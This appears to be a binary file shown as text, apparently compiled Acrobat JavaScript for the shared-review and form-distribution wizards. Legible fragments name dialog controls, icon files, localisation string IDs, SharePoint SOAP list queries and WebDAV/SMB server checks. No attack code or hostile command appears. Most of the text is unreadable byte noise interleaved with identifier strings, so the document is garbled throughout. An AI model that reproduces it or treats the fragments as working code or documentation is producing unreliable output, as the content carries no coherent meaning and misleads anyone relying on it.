Z�e
�:Q9f�f�V�:WQ;Z�g
�:QV�	vWQ���������������������䐐�␐���ʘ�<wʘ�<�ʘ�=fʘ�=lʘ�=sʘ�=�ʘ�=�ʘ�> ʘ�>|��ʐϐϐ��ʐʐ���ʐݐʐʐ�ϐʐʘ�>���ʐʐʐʐʐː��ʐݐʐʐ����ʐȐ嘀>��ʐݐϐʐʐ���ʐʐʐ���ʐʐʐ���ʐ̐��ʐʐʐ���ʐ̐��ʐ̐��ʐϐʐ�ʐȐژ�>ߕʐʐʐ���ʐʐ�̐��ʐ̐��ʐʐʐ���ʐߐ�ϐ��ʐʐ���ʐԐ��ʐʐʐ���ʐʐߐ�͐��ʐʐ���ʐʐԐ��ʐʐʐʐʐ���?-�ʐʐʐ���ʐʐ�̐��ʐ̐��ʐʐʐ���ʐߐ�ϐ��ʐʐ���ʐԐ��ʐ�ʐ�ؘ�?[�ʐʐ���ʐԐ��ʐߐʐ�ؘ�?m�ʐ☀?u�ʐʐʐ���ʐʐ�̐��ʐ̐��ʐʐʐ���ʐߐ�ϐ��ʐʐ���ʐԐ��ʐ�ʐ�ؘ�?��ʐʐ���ʐϐϐ��ʐ���ʐ�ؘ�?��ʐϐʐ���?ĕʐϐʐ�?шѐ�֐�ѐ��|��ʐ�{����CollabgetIconA_EmailDistribute_110x64_N.pngA_EmailRespond_110x64_N.pngA_EmailCollect_110x64_N.png+A_SharedReviewServerDistribute_110x64_N.png(A_SharedReviewServerComment_110x64_N.png(A_SharedReviewServerCollect_110x64_N.pngA_ServerDistribute_110x64_N.pngA_ServerRespond_110x64_N.pngA_ServerCollect_110x64_N.png,A_SharedReviewAcrobatDistribute_110x64_N.png)A_SharedReviewAcrobatComment_110x64_N.png)A_SharedReviewAcrobatCollect_110x64_N.png A_AcrobatDistribute_110x64_N.pngA_AcrobatRespond_110x64_N.pngA_AcrobatCollect_110x64_N.pngSharedString*IDS_SHARED_REVIEW_SERVER_DOC_CENTER_DETAILWT
zstring_width5IDS_SHARED_REVIEW_DISTRIBUTE_STEP_ADD_INTERNAL_SERVERAnnotsString'IDS_SHARED_REVIEW_DISTRIBUTE_STEP_EMAILmaxmin
initializeidlesrvrlmdchelpfindSelectedIndexgetSelectedItemText
updateServerscommitviewtypewizardWidthwidthwizardHeightheight
align_leftalign_children
align_fill	alignmentwizardMarginWidth
margin_heightmargin_widthmgr1item_idwhite
back_colorstatic_textnamehdngdialogfontbold	align_rowpopupelements	align_topgap,IDS_SHARED_REVIEW_PROFILE_NAME_ALLOWS_YOU_TOpayttruncate_endtruncateimageicn1&IDS_SHARED_REVIEW_DISTRIBUTE_STEP_DIST(IDS_SHARED_REVIEW_DISTRIBUTE_STEP_BULLETdst1*IDS_SHARED_REVIEW_DISTRIBUTE_STEP_DIST1_DC	wrap_namesurl,IDS_SHARED_REVIEW_DISTRIBUTE_STEP_SERVER_LOCyurlicn2&IDS_SHARED_REVIEW_DISTRIBUTE_STEP_RESP'IDS_SHARED_REVIEW_DISTRIBUTE_STEP_RESP1UBrsp1'IDS_SHARED_REVIEW_DISTRIBUTE_STEP_RESP2rsp2icn3&IDS_SHARED_REVIEW_DISTRIBUTE_STEP_COLL'IDS_SHARED_REVIEW_DISTRIBUTE_STEP_COLL1clt1cl00appplatformMAC'IDS_SHARED_REVIEW_DISTRIBUTE_STEP_COLL2clt2	link_text%IDS_SHARED_REVIEW_LEARN_MORE_ABOUT_DC	check_box1IDS_SHARED_REVIEW_DISTRIBUTE_STEP_ALWAYS_USE_THISrmbrdescription	beginPrivANTrustPropagateAllendPriv�����u�"g=dialogtoLoadtoShowalwaysUseServeroldNameoldPathnewPathK<Y\WQY\WQA�
�T�:Q9��A55�:WQV;VB6QVC6QA�
�T�:QA555WQA555	WQV�

�>�V�
�=�:?�:WQA5V�
��=�:9��=;�:6
QA55="A5A55
=6
QA5VA55
6QA55=aA5V�
��=�:9��=;�:6QA5VA556QV9��=;�:6QA55=DQA55=A55VB6QT�
�=�:QT� 
�V�:QT�!
�V�:Q�ʐʐ��ѐ�ސ���ϐ��ʐ��ѐ��ԐԐ됈�����ݐ�ې�������ې���㐐�������ʐ���Ր��Ӑ�ӈ
updateServersgetAlwaysUseServerValuedata
reviewType	undefinedrmbrsrvrdocdocumentFileNamepath	substringlastIndexOf/
cDocumentNamereplaceSharedStringIDS_SHARED_REVIEW_FILE_EXTWTFormDistribution.pdf
cDocumentPathcDataSetName#IDS_SHARED_REVIEW_DATA_SET_FILE_EXTcDataSetPathhdng2IDS_SHARED_REVIEW_DISTRIBUTION_SERVER_STEP_HEADINGSharedReviewdocAlreadyOpenedprevfocusnextvisibleload.pdf$.pdf$�����J�KdialogtoLoadi( w<Y\WQA�
�=�:WQV>3A5B6QT�
�YB]\�:Q�A�
�=�:9��=;	�:jA5C6QA55
=&T�
�YC]\�:Q!T�
�YB]\�:Q.A5B6QT�
�YC]\�:QT�
�V�:QT�
�YC]\�:Q�ʐ�֐.���͐�ᐐ���e���͐�!���
ᐐ���
ᘀ<���͐�ܐ���Ӑ�ܐ���findSelectedIndexsrvrdataaddInternalServerenablenextgetSelectedItemTextSharedString5IDS_SHARED_REVIEW_DISTRIBUTE_STEP_ADD_INTERNAL_SERVERWT
reviewTypeFormDistributionrmbrload�����9�P$�dialogtoLoadtoShowtoEnableitemproAllowsYoustri
allServerssyncCommAvailable	selServerurl< �B�<Y\WQY\WQY\WQA�
�=�:WQ;5WQV�
��V�:WQVV6QVB6QVC6QA55	=
EQV;5�V9
�
�=;�:6QV=6QVB6QVB6QV;56QV9
�
�=;�:6QV9
�
�=;�:6QV9
�
�=;�:6QV9
�
�=;�:6QVB6Q;�
�=�:�����Q;�
�=�:�����Q;�
�= �:�����QV�����6!QV�����6"QV�����6#Q�V9
�
�=$;�:�A5C6%QA55	=
VC6&QVC6&QVB6&QVB6&QV9
�
�=';�:6QV=6QVB6QVB6QV9
�
�=(A55);�:6QV9
�
�=*;�:6QV9
�
�=+A55);�:6QV9
�
�=,;�:6QV;5-6QA55	=.�;�
�=/�:�����Q;�
�=0�:�����Q;�
�=1�:�����QV�����6!QV�����6"QV�����6#Q�A55	=
�;�
�=2�:�����Q;�
�=3�:�	����Q;�
�=4�:�
����QV�����6!QV�	����6"QV�
����6#QA5B6%QVC6&QV9
�
�=5;�:VC6QV9
�
�=6;�:6QV=6QVB6QVB6QV9
�
�=7A55);�:6QV9
�
�=8;�:6QV;596QA55	=.�;�
�=:�:�����Q;�
�=;�:�����Q;�
�=<�:�
����QV�����6!QV�����6"QV�
����6#Q�A55	=
�;�
�==�:�����Q;�
�=>�:�����Q;�
�=?�:�����QV�����6!QV�����6"QV�����6#Q`V9
�
�=';�:6QT�@
�Y=]\�:QT�A
�YB]\�:Q9
�
�=B;�:WQA�C
�=�:WQ;D�E
�:Q;�F
�A55	�:WQ;D�G
�:QCWQA55	=
;5HWQA55	=
E	QVV�I
�;J�:WQVV7W	QV	5K5LW
QV�
��V
�:WQA5V6QV9M�M�V�:6QVC6QVC6QV9
�
�=(A55);�:6QV9
�
�=*;�:6QA55	=.�;�
�=/�:�����Q;�
�=0�:�����Q;�
�=1�:�����QV�����6!QV�����6"QV�����6#Q�A55	=
�;�
�=2�:�����QnN;�
�=3�:oNQ;�
�=4�:�
����QV�����6!QV�	����6"QV�
����6#QV9
�
�=+A55);�:6QV9
�
�=,;�:6QT�@
�V�:QT�O
�V�:QT�A
�V�:Q�ʐʐʐ��֐�ΐ�ܐ�̐��ʐ�ʐ�������㐈ΐ�ʐ�ʐ��Ӑ��㐈㐈㐈㐐�ʐ������Ґ�Ґ�א�������͐����	ʐ�	ϐ����	ʐ�	ʘ�<҈㐐�ΐ�ʐ�ʐ�㐈<݈	㐈Ӑ�����������Ґ�Ґ�א���������Ґ�Ґ�ט�<���͐�ʐ������ʐ�㐈ΐ�ʐ�ʐ�㐐�Ӑ�����������Ґ�Ґ�א���������Ґ�Ґ�ט�=��= �㐐��ܐ�ސ֐��ѐ�ѐ�����
ΐ�����ؐ�ːѐ�ܐ�ϐ�ې�ʐ�ʐ��㐐����������Ґ�Ґ�א������ᐈ��Ґ�Ґ�Ҙ�=U�=Z�	㐐��Ӑ�Ӑ�ӈgetSelectedItemTextsrvrAnnotsString,IDS_SHARED_REVIEW_PROFILE_NAME_ALLOWS_YOU_TOreplacepaytlmdccl00data
reviewTypeFormDistribution'IDS_SHARED_REVIEW_DISTRIBUTE_STEP_EMAILdst1SharedString-IDS_SHARED_REVIEW_DISTRIBUTE_STEP_DIST1_EMAILWTyurlsurl2IDS_SHARED_REVIEW_PROFILE_NAME_ALLOWS_YOU_TO_EMAILrsp1-IDS_SHARED_REVIEW_DISTRIBUTE_STEP_RESP1_EMAILrsp2-IDS_SHARED_REVIEW_DISTRIBUTE_STEP_RESP2_EMAILclt1-IDS_SHARED_REVIEW_DISTRIBUTE_STEP_COLL1_EMAILclt2-IDS_SHARED_REVIEW_DISTRIBUTE_STEP_COLL2_EMAILCollabgetIconA_EmailDistribute_110x64_N.pngA_EmailRespond_110x64_N.pngA_EmailCollect_110x64_N.pngicn1icn2icn35IDS_SHARED_REVIEW_DISTRIBUTE_STEP_ADD_INTERNAL_SERVERaddInternalServerrmbr3IDS_SHARED_REVIEW_DISTRIBUTE_STEP_DIST1_YOUR_SERVER'IDS_SHARED_REVIEW_DISTRIBUTE_STEP_RESP1UB'IDS_SHARED_REVIEW_DISTRIBUTE_STEP_RESP2'IDS_SHARED_REVIEW_DISTRIBUTE_STEP_COLL1'IDS_SHARED_REVIEW_DISTRIBUTE_STEP_COLL2<IDS_SHARED_REVIEW_PROFILE_NAME_ALLOWS_YOU_TO_YOUR_OWN_SERVERSharedReview+A_SharedReviewServerDistribute_110x64_N.png(A_SharedReviewServerComment_110x64_N.png(A_SharedReviewServerCollect_110x64_N.pngA_ServerDistribute_110x64_N.pngA_ServerRespond_110x64_N.pngA_ServerCollect_110x64_N.png*IDS_SHARED_REVIEW_SERVER_DOC_CENTER_DETAIL*IDS_SHARED_REVIEW_DISTRIBUTE_STEP_DIST1_DC*IDS_SHARED_REVIEW_DISTRIBUTE_STEP_RESP1_DC*IDS_SHARED_REVIEW_DISTRIBUTE_STEP_RESP2_DC4IDS_SHARED_REVIEW_PROFILE_NAME_ALLOWS_YOU_TO_ACROBAT,A_SharedReviewAcrobatDistribute_110x64_N.png)A_SharedReviewAcrobatComment_110x64_N.png)A_SharedReviewAcrobatCollect_110x64_N.png A_AcrobatDistribute_110x64_N.pngA_AcrobatRespond_110x64_N.pngA_AcrobatCollect_110x64_N.pngloadvisible7IDS_SHARED_REVIEW_DISTRIBUTE_STEP_DIST1_YOUR_SERVER_URLfindSelectedIndexapp	beginPrivallReviewServersendPrivhasSynchonizerfilterRemoveWebdavSettingscSettingANSMBURLToPlatformPatho_ServerRespond_110x64_Nenable\{cProfileName\}\{cURL\}�����6�
dialogurlLC�Cf=9��=;�:WQ;�
�V�C�:Q�ސ�׈SharedString)IDS_SHARED_REVIEW_LEARN_MORE_ABOUT_DC_URLWTapp	launchURL�����:�	dialog�CdDl=;�
�:Q;�
�=�:Q;�
�:Q��ѐ�א�шapp	beginPrivCollablaunchHelpViewerForms_Reviews_DistributionendPriv�����P�idoi�D-Es=A5�
�:T7WQVK%mMWQVV7>VV7?�N��L����N��ِ�5(ː������xː����
dialogstore#(�����M�idoiRE�E�=A5�
�:T7WQVKmMWQVV7>V�N��L����N=�ِ�5"ː����|ː���
dialogstore#"�����
r�
%ydialogsyncCommAvailableserverssrvridx	didSelectbServerDefaultiserver	currIndexacrobat_dot_comemail_attachmentyour_own_serverentry	FZ�=CWQA55=;5WQ;�
�:Q;�
�A55�:WQ;�
�:QA55=E	QVV�	
�;
�:WQY\WQ?WQVmBWQBWQVK�mMWQVV7WQV#?WQWQA55=*V5 V"WQ
CWQ%V5
 V"WQ
CWQVV5V8Q�L���rNV EQV�>(V>7WQVV5VV57"8QA55=nV�>5V9��=;�:V#?WQ"8Q/V9��=;�:V#?WQ8QPVK=mMWQVV7WQV#?WQWQV"WQVV5V8Q�L����NT�
�=�:QVEQ;5jY\W	QV	9��=;�:V9��=;�:78QT�
�YV	]\�:QA55=dY\W
QV V;5�8QV
;5V;578QT�
�YV
]\�:QVjY\WQV9��=;�:V9��=;�:78QT�
�YV]\�:QV�VK�mMWQVV759��=;�:EJQVV75;5E-QVV759��=;�:T�
�=�:Q
�L���gNV�VK�mMWQVV759��=;�:EJQVV75;5E-QVV759��=;�:NY\WQVVV75VVV7578QT�
�YV]\�:Q�L���8N��=�����ΐ��ѐ�ѐ�����ؘ�=�ʐ��h�����5��ː�ː�ϐ�%���
�
���͐�ʐ�����
���͐�����	ِ������ɐ�	ˈϐ�����0��݈QӐ��=̐5@ː�ː�ϐ���Ȑ��	٘�=ܘ�=�Ր�����ʐ����ޘ�=����ʐ�
��ѐ�ݐ�ޘ�=���ʐ����ޘ�>��5��ː�������Ր@Θ�>��5��ː�����ʐ�ᐈ�+data
reviewTypeFormDistributionCollabhasSynchonizerapp	beginPrivallReviewServersendPrivfilterRemoveWebdavSharedReviewDefault	DefaultFDUIlengthSharedString5IDS_SHARED_REVIEW_DISTRIBUTE_STEP_ADD_INTERNAL_SERVERWTremoveAllEntriesFromListsrvrisDocCtrInitAvailable*IDS_SHARED_REVIEW_SERVER_DOC_CENTER_DETAILinsertEntryInListAnnotsString'IDS_SHARED_REVIEW_DISTRIBUTE_STEP_EMAILinsertSeparatorEntryInList����+@���������)��dialognextserversisrvrj Z[e >T�A5B6Q;�
�:Q;�
�A55�:WQ;�
�:QA55=n	;5
o	QA55=EQ;	V�
�;�:WQA�
�=�:WQV>EQVV�;VV7WQA5V6QA5=6QA55K@mMWQVV75V%A5A55V756Q�L����NA5559��=;�:A5C6QA5B6Q9��A55�:QA55=�A555 f;�
�:Q;�
�A555�A555�A55�:Q;�
�:Q|A555 f;�
�:Q;�
�A555�A555�A55�:Q;�
�:QA5 �!
�:5" I;�
�:Q;�#
�A55�:Q;�
�:Q�A55=EQA555$ D.QA55=EQA555% EQA5 �!
�:5"k;�
�:Q;�&
�A555�A555�A55�:Q;�
�:QwA�'
�=�:9��=(;�:EA5C6QA5B6QA59��=(;�:6Q����͐��ѐ�ѐ����	՘�>/���ؐ�֐��6���>8ː��Ϙ�>?�ѐ�0Cː����鐐����Ґ��͐��ې��|���
����ѐ����֘�>W��
����ѐ����ѐ���
�D���ѐ�ݐ�֐�׈:�U�f���ѐ����֐�����������͐�͐��`dataaddInternalServerapp	beginPrivCollaballReviewServers
reviewTypeendPrivFormDistributionsyncCommAvailablehasSynchonizerfilterRemoveWebdavfindSelectedIndexsrvrlengthserver
serverTypedriversURL
initiatorNameUISharedString*IDS_SHARED_REVIEW_SERVER_DOC_CENTER_DETAILWTUseDocumentCenter	ANDumpObjSharedReviewDefaultsetDefaultReviewServer	DefaultFDdialogstorermbrunsetAlwaysUseServerAlwaysUseServerAlwaysUseServerFDsetAlwaysUseServergetSelectedItemText5IDS_SHARED_REVIEW_DISTRIBUTE_STEP_ADD_INTERNAL_SERVER*C����e�
�������+�"@data
mainDialogdescription��1��?Y�]�]�]�]�]�]�]�]�]�	]	�
]
Y;5]
=]ZY=]ZY=]9��=;�:]
C]Xr]\`Y=]=]=]ZY=]ZY=];5]
=]C]\`Y= ]=]!�d]"X�]\`\]#\`Y=]ZY=];5$]
=]C]\`Y= ]=]!�d]"X�]\`\]#\`\]#\`Y=%]\`\]#\`\]#\]&\WQ;'�(
�:Q9)�)�V�:WQ;'�*
�:QV���ʘ�?�ʘ�?�ʘ�?�ʘ�?�ʘ�@ʘ�@!ʘ�@&ʘ�@4ʘ�@�ʘ�@�ʘ�@ȕϐʐ���ʐ���ʐߐ�͘�@ٕʐʐʐ���ʐ���ʐϐʐː��ʐʐ�ؘ�@�ʐ���ʐϐʐː��ʐʐ�㘀A�똀A�ѐ�֐�ѐ���
initializeidlecommitfindSelectedIndexscanloadWorkspacesloadDocumentLibrariesdoclwkspsetLocationgetSoapValueAnnotsString/IDS_SHARED_REVIEW_SHAREPOINT_GET_WORKSPACES_DUPname
align_leftalign_childrengrouptypestatic_textSharedString$IDS_SHARED_REVIEW_SHAREPOINT_MESSAGEWT	wrap_namewidthview	align_row
align_fill	alignment'IDS_SHARED_REVIEW_SHAREPOINT_WORKSPACESdialogfontboldlist_boxitem_idheightelements$IDS_SHARED_REVIEW_SHAREPOINT_DOCLIBS	ok_canceldescriptionapp	beginPrivANTrustPropagateAllendPriv������	dialog�I��?A�
�T�:Q���шloadWorkspaces������dialog_����?����������dialog����?������P�idoi(����?A5�
�:T7WQVK%mMWQVV7>VV7?�N��L����N��ِ�5(ː�����xː���
dialogstore#(������dialogԐ��?��������	T0dialogiM�2�@�����55m�����5Y\6Q>WQNm�����55�����55V755V?"8QV#?WQQ�V�����55����������55�?:�����55�����55>755?8QT�
�Y�����55]\�:Q�����55�?A�
�T�:Q&T�
�YY\]\�:Q�����ڐ�
$NBl��@���@��@��OȘ�@
�7̘�@��@
�㘀@����������֐��	�
sharepointsites
workspacessoapAttributesTitlelengthloadwkspdocl<l������dialogdocLibsY���!@T�
�YT]\�:Q��ވloaddocl�����i�
dialoglistBoxi���&@	T�
�:5WQVKCmMWQVV7>/A�
�����55V7�:Q
�L����N�א5Fː�������@ΈstoredoclsetLocation
sharepoint
workspaceURLS!F�����?�EldialoglistBoxinsurlrequestresponseresultvlistsdocLibslibNum
defaultLibj	listPropsoURLportStrcBaseURLcPathmsg
��4@�����5@6QT�
�:5WQVKmMWQVV7>�=WQ�����5�����55VV7?7556Q9������55�C�:WQYV=	]
YY\]\]V=]
B]V]YC]\]=]\WQ�;�
�V�:WQ�����5Y\6QA�
�V>75�=�:WQV�A�
�V�=�:WQY\WQ?W	Q=W
Q>WQ"mVV75WQV5=EQV5=�VV5 �8QV	?V5 W
Q;!�"
�V�:W
Q=WQV
5#=$EQV
5%�P=&V
5%WQV
5#='EQV
5%X�=&V
5%WQ=WQV
5(;)5V
5#=*=+V
5,=-VWQ$V
5#=*V
5,VWQV5.WQV�/
��:3V�0
�>�V�1
�=2�:�:WQ.V�0
�>�V�1
�=3�:�:WQ�����55V5 94�4�VV�:8QV	#?W	QQV#?WQQ�VV�5����A�6
�T�V�:QV
�5>/A�7
�����55V
7�:QA�7
�V�:Q��vWQV58�;9WQV58FC��0;:5;WQ;:5<WQVM;=�>
�:Q;=�?
�YV]@>]A\�:Q;=�B
�:QT�C
�YZ\]D\�:Q�
�L����N��Րא5�ː������ɐ����萐��ΐ��ѐ�ΐ�ȐѐϘ�@R��ؐ��ڐ���Е�ڐʐ�ɐ�
$�"��0���	��@`�А�����
ϐ
�̐��ؐ�ɐ��9Ґ��;Ґ�ɐ�0���𐐐��ߐ��̐�.��鐐�
�
̘�@_�-̘�@��@_�Ә�@��Ր�*��	ꐐ�	֐��x��@�ʐ����ɐ�XCݐ����	ΐP���	ΐP�����	ѐ�	搈	ј�@���{��@Έ
sharepointworkspaceURLstorewksp-http://schemas.microsoft.com/sharepoint/soap/sitessoapAttributesUrlCBEncodeURL_vti_bin/Lists.asmxcURLGetListCollectionoRequestcActionbEncoded
cNamespaceUsePlatformAuth
oAuthenticateMessagecResponseStyleSOAPrequest
workspaceURLSgetSoapValue	soapValueGetListCollectionResultListsBaseType1HiddenFalseTitleutilcrackURLcSchemehttpnPort:httpsnURLTypeIPV6Type://[cHost]DefaultViewUrlmatchsubstrlastIndexOf/Forms//	encodeURIlengthloadDocumentLibrariessetLocation
statusCode	undefinedAnnotsString1IDS_SHARED_REVIEW_SHAREPOINT_CONTRIBUTOR_RESTRICTIDS_SERVICE_MISSINGapp	beginPrivalertcMsgnIconendPrivloaddocl����e	\/Forms\/60�0������loc	����@�����5T6Q��׈
sharepointlocation�������?
soapValuesnameivalueindex$�ê�@>WQ�mTV7WQV5EQV5SV5�
�T�:WQV>E QT�V5�VV5V#?WQQ�VT����q;��	$��z�������@��ː����ې���ɘ�@��-̘�@���@��Ә�@Ĉ�soapName	soapValuelastIndexOflength	undefined
���������2sdata
reviewType	checkSizeconfig
serverDescserverControlsiserveriddescription��X�AY\WQZ\�����QY\WQT5K�mMWQ�������

�T5V7WQ9��=V5=V5�:QV5=e=VWQVVV8Q�����������Y=	]
V]=]
V5]\8Q�L���,NTV6QYYY=]B]\]@]@]Y\]Z=`=`=`\]>]@]@]B]B]B]B]\] YY=]\]@]\]!YY=]C]\]@]"@]#@]$@]%@]@]B]B]&B]'C](Z=`=`=`\]>]@]B]Y\])\]*T]+�],�]-�].�]/�]0�]1�]2�]3�]4�	]5�
]6�]7�]8�
]9�]:�];�]<�]=�]>�]?�]@�]A�]B�]C�]D�]E�]F�]G�]H�]I�]J�]K� ]L�!]M�"]N�#]O�$]P�%]Q�&]R�']S�(]T�)]U�*]V�+]W�,]X�-]Y�.]Z�/][�0]\�1]]ZY=^]
;_5`]a;_5b]c;_5d]e;_5f]g=h]i=j]kZY=l]
=]=j]k=m]=n]oC]p\`Y=^]
=q]r�����]s\`Y=l]
;t5u]=j]k=v]=n]oC]p\`Y=^]
=j]k=w]iZY=x]
=y]=j]k\`Y=z]
;t5{]=Z]\`\]s\`Y=^]
=j]k=w]iZY=l]
=|]=j]k=}]\`Y=~]
;t5]=h]k=\]\`\]s\`Y=^]
=j]k=w]iZY=l]
9����=�;��:]=j]k=�]\`\]s\`Y=^]
=j]k=w]iZY=l]
9����=�;��:]=h]k=�]\`Y=~]
;t5�]=Z]=h]k=[]\`\]s\`Y=^]
=w]i=j]kZY=l]
;t5�]=�]\`Y=l]
X�]a=�]�=�]\`Y=�]
�
]a\`Y=l]
;t5�]=�]\`Y=l]
X�]a=�]�=�]\`\]s\`Y=�]
�
]c\`Y=l]
=]=j]k?]�\`	Y=^]
=q]iZY=�]
�]a\`Y=�]
=�]� ]a� ]c\`Y=^]
=h]iZY=l]
;t5�]=�]=j]kC]�X�]aYZ�`YZ\]�\`\]�\]c\`Y=l]
9����=�;��:]=�]C]�X�]a=j]kYZ�`YZ\]�\`\]�\]c\`\]s\`\]s\`
\]s\`\]�\WQ;���
�:Q9����V�:WQ;���
�:QV�ʐ�ϐʐ��0��ː����@��А������͐�ː��א�ʐȐʐ٘�A7�̐�������ʐ̐����ː�吖�����̘�AR���А�̐�����ʐ̐�������������吖��ѐ�Ȑʘ�Baʘ�Cnʘ�C�ʘ�C�ʘ�C�ʘ�D+ʘ�D]ʘ�Ddʘ�Doʘ�Dtʘ�D�ʘ�D�ʘ�D�ʘ�D�ʘ�D�ʘ�E"ʘ�E0ʘ�EKʘ�E]ʘ�Enʘ�Euʘ�E�ʘ�E�ʐʐ�ʘ�E�ʘ�F"ʘ�F7ʘ�FRʘ�F[ʘ�Frʘ�Fyʘ�F�ʘ�F�ʘ�F�ʘ�F�ʐʐ��ʘ�F�ʘ�F�ʘ�F�ʘ�Gʘ�Gʘ�G(ʘ�G<ʘ�GTʘ�Glʘ�Gqʘ�Gwʘ�G��ʐϐϐϐϐʐʐ���ʐʐʐʐʐː��ʐʐӐ��ʐϐʐ�ʐʐː��ʐʐʐ���ʐʐϐ��ʐϐژ�G��ʐʐʐ���ʐʐʐϐ��ʐϐʐژ�Gƕʐʐʐ���ʐߐʐژ�Gԕʐʐʐ���ʐߐʐϐ��ʐϐʐʐژ�G�ʐʐʐ���ʐϐϐ��ʐȐʐϐ��ʐ̐��ʐϐϐ��ʐȐʐژ�H�ʐ̐���ʐʐʐː��ʐʐ���ʐ̐��ʐʐ�̐��ʐʐ���ʐϐʐʐ�Ȑ�ʐߐʐ�Ȑʐ�ᘀHE�ѐ�֐�ѐ���serverslength
DebugAlertserver.initiatorName :
initiatorName

 server.URL URLsvrradiotypeitem_idsrvrgroup_idnameserverControlscSetting#bUseWindowsIntegratedAuthenticationoConfig
cVerifyURLcVerifiedURLoAuth	writeable
enumerable
removeableaStatesnStatecFileURLoFileURL
bFoundFile	bDoCommitbCommitCanBeDonewebdavsmbsites
workspacesworkspaceURLlocationbDoDefaultCommitbDoDefaultCommitCanBeDonedefaultDocumentLibrary
workspaceURLS
sharepoint
reviewType
initializeidlecommitshowChooseSubsiteconnectSubsitecreateDocumentLibrary
createLibraryhelp
getSelectedIDupdateServerTypesgetServerURLsetURL	setStatusverifyURLSNF	setURLSNFbrwsSNF	verifySNFverifyNextStateWD	onErrorWDonVerifySuccessWDonVerifyFailureWDonEnumerateFileWDonEnumerateEndWDonPutFileWDonDeleteFileWDverifyWD
sharePointwizgetSharePointServerURLverifyNextStateSPF
onErrorSPFonSuccessfulCreationonErrorCreationonVerifySuccessSPFonVerifyFailureSPFonEnumerateFileSPFonEnumerateEndSPFonPutFileSPFonDeleteFileSPF	verifySPFonErroronVerifySuccessonVerifyFailureonEnumerateFileonEnumerateEnd	onPutFileonDeleteFilebuttchs3chs4vrfyviewCollabwizardWidthwidthwizardHeightheightmarginHeight
margin_heightwizardMarginWidthmargin_width
align_leftalign_children
align_fill	alignmentstatic_texthdngdialogfontbold	align_topalignelementsAnnotsString*IDS_SHARED_REVIEW_INTERNAL_SERVER_STEP_SMBtxt1	align_row	edit_textloctbutton+IDS_SHARED_REVIEW_SHAREPOINT_GET_WORKSPACESStatus:stat	link_text!IDS_MSG_REDACTION_ALERT_LEARNMORESharedString&IDS_SHARED_REVIEW_SHAREPOINT_AUTOMATICDTchs1IDS_SHARED_REVIEW_SHAREPOINTSTchs2+IDS_SHARED_REVIEW_SHAREPOINT_CHOOSE_SUBSITE!IDS_SHARED_REVIEW_WORKSPACE_TITLEwks1truncate_middletruncatewks2gap(IDS_SHARED_REVIEW_DOCUMENT_LIBRARY_TITLEdcl1dcl2	separatorimageimg1!IDS_SHARED_REVIEW_SMB_DESCRIPTIONdes1	wrap_nameedit_text_heightprod+IDS_SHARED_REVIEW_INTERNAL_SERVER_STEP_STR2UBdes2descriptionapp	beginPrivANTrustPropagateAllendPriv������	�J��dialogtoLoadtoShowtoEnablelatestReviewr_iditem	customURL	radioItem`���sAA5A56QA5A56QA5A56QA55;A5Y\6QA55;A5Y\6QA55;A5Y\6QY\WQY\WQY\WQV=	6QVB6
QVB6QVB6QVB6
QV9��=;�:6QA�
�;5�:Q;�
�:Q;�
�=�:WQ;�
�:QA55;A55WQV=)VC6QT�
�=�:Q�V=)VC6QT�
�=�:QTV=)VC6QT�
�=�:Q"VC6 QT�
�V�:QA55!V75"WQVx;5#y(;5$yi;5%y�z�A55;EQA555&;VA555&6'Q�A55;EQA555&;VA555&6'QOA55;EQA555&VA555&6'Q�V;�V=(�=WQVC6QT�
�=�:Q;�
�:Q;�
�=(�:WQ;�
�:QV;;;5)=*;5+WQ;5,WQVV6'Q0V=-�=WQVC6QT�
�=�:Q;�
�:Q;�
�=-�:WQ;�
�:QV;;5.WQVV6'Q�=WQVC6QT�
�=�:Q;�
�:Q;�
�=/�:WQ;�
�:QV;;50WQVV6'Q�=WQVC6QT�
�=�:Q;�
�:Q;�
�=(�:WQ;�
�:QV;;;5)=*;5+WQ;5,WQVV6'QA55!V75"WQVx;5#y(;5$y�;5%y�z�VC61QVB62QVB63QVB64QVB65QVB6
QVB6QVB6QV;5766QV;5861QV9��=:;�:69Q;=;"V9��==�:6<QVC61Q�VB61QVC6
QVC6QVC6QV;5>66QV;5?61QVA555@EQA555@=AA555@
=A63QVA555@EQA555@=AA555@
=A65QV;5B69Q�VB61QVB62QVB63QVB64QVB65QVB6
QVB6QVB6QV;5C66QV;5D61QV;5E69QVB61Q������F?VB6QVB6QT�
�='�:QT�G
�V�:QT�H
�V�:QT�I
�V�:Q��Ґ�Ґ�Ґ����Ґ���Ґ���Ґ�ʐʐʐ���ΐ��ʐ�ʐ�ʐ�ʐ��㐐��ؐ��ѐڐ�ѐ������ϐ��$���ʐ�ڐ���$���ʐ�ڐ���$���ʐ�ڐ����ʐ�Ӑ��ؐ�c����h��A��h��A��hʘ�A������ِP�������ِP�������ِPʘ�A�����������ɐ�ʐ�Ր��ѐڐ�ѐ������Ӑ��ΐ���ѐ������ɐ�ʐ�Ր��ѐڐ�ѐ����ΐ���ѐ���ɐ�ʐ�Ր��ѐڐ�ѐ����ΐ���ј�A��ɐ�ʐ�Ր��ѐڐ�ѐ������
Ӑ��
ΐ���̘�Bؐ�c�����h��B-�h��B>�hʘ�B����	ʐ�	ʐ�	ʐ�	ʐ�	ʐ�ʐ�ʐ�ʐ���Ӑ�Ӑ�����
ݐ�ʐ�P������ʐ�ʐ�ʐ�ʐ���Ӑ�Ӑ��合�合Ӑ�P������	ʐ�	ʐ�	ʐ�	ʐ�	ʐ�ʐ�ʐ�ʐ���Ӑ�Ӑ�Ӑ�ʐ�P��BU����ʐ�ʐ���Ր�Ӑ�Ӑ�ӈdatawebdavsmb
sharepointoSavedSMBState	undefinedoSavedSharePointStateoSavedWebDavStateimg1C_Info_Xl_N.pngchs1chs2chs3chs4hdngSharedString.IDS_SHARED_REVIEW_INTERNAL_SERVER_STEP_HEADINGWT	setStatusAnnotsString#IDS_SHARED_REVIEW_STATUS_INITIALIZEapp	beginPrivCollabgetCustomServerLinkLatestendPrivpreviousSelectedIDsvr0focussvr1svr2r_idserverControls
